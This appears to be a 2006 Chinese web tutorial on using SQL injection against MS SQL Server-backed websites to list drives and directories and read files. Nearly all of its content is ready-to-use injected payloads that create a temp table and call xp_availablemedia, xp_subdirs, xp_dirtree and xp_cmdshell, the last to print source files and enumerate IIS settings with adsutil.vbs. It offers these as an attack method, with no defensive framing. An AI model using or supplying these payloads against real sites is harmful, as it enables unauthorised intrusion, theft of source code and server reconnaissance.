首页 电脑 电脑学堂 查看内容

如何利用Sql 注入遍历目录

2006-3-6 00:28 513 0

摘要: 有时候手工注入时就用得到了 关于如何取得注入入口不再说了,前面的帖子都说得很详细了,我们就如何浏览全部目录和文件进行研究当System_user为"sa"时,具有全部权限,包括执行master.db...
关键词: temp master insert cmdshell exec xp dbo into nvarchar 如果

有时候手工注入时就用得到了 关于如何取得注入入口不再说了,前面的帖子都说得很详细了,我们就如何浏览全部目录和文件进行研究当System_user为"sa"时,具有全部权限,包括执行master.dbo.xp_cmdshell,如果这个存储过程没有改名或删除,我们可以利用它来遍历全部目录,执行如下:先创建一个临时表:temp'5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--接下来:(1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:5';insert temp exec master.dbo.xp_availablemedia;--我们可以通过查询temp的内容来获得驱动器列表及相关信息(2)我们可以利用xp_subdirs获得子目录列表,并存入temp表中:5';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--(3)我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--这样就可以成功的浏览到所有的目录(文件夹)列表:如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--浏览temp就可以看到index.asp文件的内容了!当然,如果xp_cmshell能够执行,我们可以用它来完成:5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--通过xp_cmdshell我们可以看到所有想看到的,包括W3svc5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'但是,如果不是Admin的权限,我们还可以使用5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部